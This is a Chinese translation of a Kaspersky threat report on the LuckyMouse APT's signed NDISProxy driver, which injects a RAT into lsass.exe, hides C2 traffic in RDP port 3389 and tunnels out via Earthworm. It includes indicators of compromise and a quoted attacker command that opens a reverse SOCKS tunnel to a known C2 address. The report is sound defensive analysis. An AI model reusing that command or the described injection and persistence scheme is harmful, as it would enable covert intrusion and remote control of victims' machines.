导语:卡巴斯基的安全专家观察到LuckyMouse APT(又名Emissary Panda,APT27和Threat Group 3390)在最近的攻击中使用了具有合法数字签名的32位和64位网络过滤驱动程序NDISProxy。

一、前言

自2018年3月以来,我们发现了几例感染,在这些感染中未知的特洛伊木马被注入lsass.exe系统进程内存。这些植入程序由拥有合法数字签名的32位和64位网络过滤驱动程序NDISProxy注入。有趣的是,这个驱动程序是使用属于中国的公司LeagSoft的数字证书签署的,LeagSoft是一家位于广东深圳的信息安全软件开发商。我们通过CN-CERT向公司通报了这个问题。

本报告中描述的活动在中亚高层会议召开之前就已经开始,我们认为幕后的行动者仍然关注地区政治。

二、恶意模块

恶意软件包含三个不同的模块:

· 自定义C ++安装程序解密并释放驱动程序文件至相应的系统目录,为驱动程序持久性创建Windows自动运行服务,并将加密的内存中特洛伊木马添加到系统注册表中。

· 网络过滤驱动程序(NDISProxy),用于解密并将特洛伊木马注入内存并过滤端口3389(远程桌面协议,RDP)流量,以便将特洛伊木马的C2通信插入其中。

· 最后阶段的C ++特洛伊木马作为HTTPS服务器,与驱动程序一起工作。通过端口3389和443两个可能的通信信道被动地等待来自其C2的通信。

安装程序设置完所有模块后,NDISProxy驱动程序和RAT一起工作

这些模块允许攻击者在受感染的基础架构中静默横向移动,但如果新的受感染主机仅具有LAN IP,则不允许它们与外部C2通信。因此,运营商使用Earthworm SOCKS隧道将受感染主机的LAN连接到外部C2。他们还使用Scanline网络扫描程序查找文件共享(端口135,服务器消息块,SMB),用于通过管理员密码传播恶意软件,并记录键盘操作。

我们高度自信的认为NDISProxy是LuckyMouse使用的新工具。卡巴斯基实验室产品可检测所描述的样本。获取更多资讯,请联系: [email protected]

三、传播

到2018年3月底,我们在不同的目标中检测到了用于此活动的32位dropper的分布情况。但是,我们没有观察到任何鱼叉式网络钓鱼或水坑活动。我们认为运营商通过已经受到控制的网络传播他们的感染程序。

四、工作原理

1.自定义安装程序

1.png

初始感染程序是32位可移植可执行文件,能够根据目标安装32位或64位驱动程序。安装程序会在同一目录中的load.log文件中记录所有安装过程步骤。它检查操作系统是否为Windows Vista或更高版本(主要版本等于或大于6),并使用DES(数据加密标准)算法解密其初始配置。

配置中的一组众所周知的端口号(HTTP,HTTPS,SMB,POP3S,MSSQL,PPTP和RDP)并没有使用,这与消息中的“[test]”字符串一起表明此恶意软件仍处于开发阶段。

安装程序创建信号量(名称取决于配置)Global\Door-ndisproxy-mn并检查服务(名称还取决于配置)是否已安装ndisproxy-mn。如果是,则dropper在load.log中写入“检测到door”。运行NDISProxy的自动运行Windows服务是开发人员术语中的“door”。

安装程序还解密(使用相同的DES)最后一个阶段特洛伊木马的shellcode,并将其保存HKLM\SOFTWARE\Classes\32ndisproxy-mn(或64ndisproxy-mn适应于64位主机)下的三个注册表值中,名为xxx0,xxx1,xxx2。加密配置保存在注册表项HKCR\ndisproxy-mn下的值filterpd-ndisproxy-mn。

初始安装程序在系统注册表中保存XOR加密的特洛伊木马程序的shellcode和DES加密配置

安装程序会创建相应的自动启动服务和注册表项。“Altitude”注册表值(minifilter驱动程序的唯一ID)设置为321 000,表示Windows中的FSFilter Anti-Virus:

2.NDISProxy网络过滤驱动

2.png

这个数字签名的驱动程序是此活动中使用的最有趣的程序。网络过滤模块有两个目的:首先解密并注入RAT;第二,通过RDP端口3389设置其通信信道。

该驱动程序使用VeriSign向LeagSoft颁发的数字证书进行签名,LeagSoft是一家开发数据丢失防护(DLP)解决方案等信息安全软件的公司。

该驱动程序广泛使用第三方公开可用的C源代码,包括GitHub上提供的Blackbone存储库。

3.png

驱动程序再次检查Windows版本是否高于Vista,然后创建名为\\Device\\ndisproxy-%s的设备(其中“ – ”之后的单词各不相同,请参阅所有变体的附录)及其对应的符号链接

\\DosDevices\\Global\\ndisproxy-%s。

该驱动程序结合了HKLM\SOFTWARE\Classes\32ndisproxy-mn中所有与木马相关的注册表值,并使用六字节硬编码值对它们进行XOR。然后,它使用Blackbone库函数将生成的特洛伊木马可执行shellcode注入lsass.exe内存。

NDISProxy用作网络流量过滤器引擎,过滤通过RDP端口3389的流量(端口号是硬编码的)并向其中注入消息。

用户模式内存中的特洛伊木马与驱动程序之间的通信将通过DeviceIoControl Windows API函数编写的自定义控制代码。除辅助代码外,还有两个代码值得一提:

4.png

3.内存C++ Trojan

5.png

请注意,此特洛伊木马程序仅存在于内存中;上面的数据是针对解密的Windows注册表内容而没有包括初始shellcode

此RAT由NDISProxy驱动程序从系统注册表解密并注入lsass.exe进程内存。代码以shellcode开头 – 而不是典型的Windows可移植可执行文件Loader,此恶意软件本身实现了内存映射。

该特洛伊木马是一个功能齐全的RAT,能够执行命令执行和下载/上传文件等常见任务。这是通过几十个C ++类实现的,例如CMFile,CMFile,CMProcess,TFileDownload,TDrive,TProcessInfo,TSock等。第一阶段自定义安装程序使用相同的类。该木马使用HTTP Server API在端口443上过滤HTTPS数据包并解析命令。

特洛伊木马是一个HTTP服务器,允许LAN连接。它使用SOCKS隧道器与C2通信

攻击者使用此特洛伊木马来收集目标数据,进行横向移动并使用Earthworm隧道创建到其C2的SOCKS隧道。这个工具是公开的,在攻击者中很受欢迎。鉴于特洛伊木马本身就是一个HTTPS服务器,我们认为SOCKS隧道用于没有外网IP的目标,因此C2能够发送命令。

五、幕后

我们发现此活动针对的是中亚政府。我们认为这次袭击具有很强的针对性,与高级别会议有关。我们高度自信的认为LuckyMouse攻击者使用本报告中描述的NDISProxy工具开展此次新攻击行动。

特别是,Earthworm隧道的选择对于攻击者来说是典型的。此外,攻击者使用的命令之一(“-s rssocks -d 103.75.190 [。] 28 -e 443”)创建到先前已知的LuckyMouse C2的隧道。此活动中受害者的选择也与攻击者所表现出的先前兴趣一致。

六、契合当前趋势

我们观察到几个攻击活动逐渐转向公开可用工具(如Metasploit或CobaltStrike)和自定义恶意软件(如本报告中描述的最后阶段C ++RAT)的组合。我们还观察了不同的参与者如何定期从GitHub存储库中采用代码。所有这些结合起来使归因更加困难。

此活动再次证明了LuckyMouse对中亚的兴趣以及关注上海合作组织的政治议程。

IoC

文件Hashes 

Droppers-installers
9dc209f66da77858e362e624d0be86b3
dacedff98035f80711c61bc47e83b61d

驱动
8e6d87eadb27b74852bd5a19062e52ed
d21de00f981bb6b5094f9c3dfa0be533
a2eb59414823ae00d53ca05272168006
493167e85e45363d09495d0841c30648
ad07b44578fa47e7de0df42a8b7f8d2d

Auxiliary Earthworm SOCKS隧道工具及Scanline
83c5ff660f2900677e537f9500579965
3a97d9b6f17754dcd38ca7fc89caab04

Domains and IPs

103.75.190[.]28
213.109.87[.]58

信号

Global\Door-ndisproxy-mn
Global\Door-ndisproxy-help
Global\Door-ndisproxy-notify

服务

ndisproxy-mn
ndisproxy-help
ndisproxy-notify

注册表键值

HKLM\SOFTWARE\Classes\32ndisproxy-mn
HKLM\SOFTWARE\Classes\64ndisproxy-mn
HKCR\ndisproxy-mn\filterpd-ndisproxy-mn
HKLM\SOFTWARE\Classes\32ndisproxy-help
HKLM\SOFTWARE\Classes\64ndisproxy-help
HKCR\ndisproxy-mn\filterpd-ndisproxy-help
HKLM\SOFTWARE\Classes\32ndisproxy-notify
HKLM\SOFTWARE\Classes\64ndisproxy-notify
HKCR\ndisproxy-mn\filterpd-ndisproxy-notify

驱动的签名证书

许多合法的LeagSoft产品都使用以下证书进行签名。请不要将所有签名文件视为恶意文件。

6.png

源链接

Hacking more

...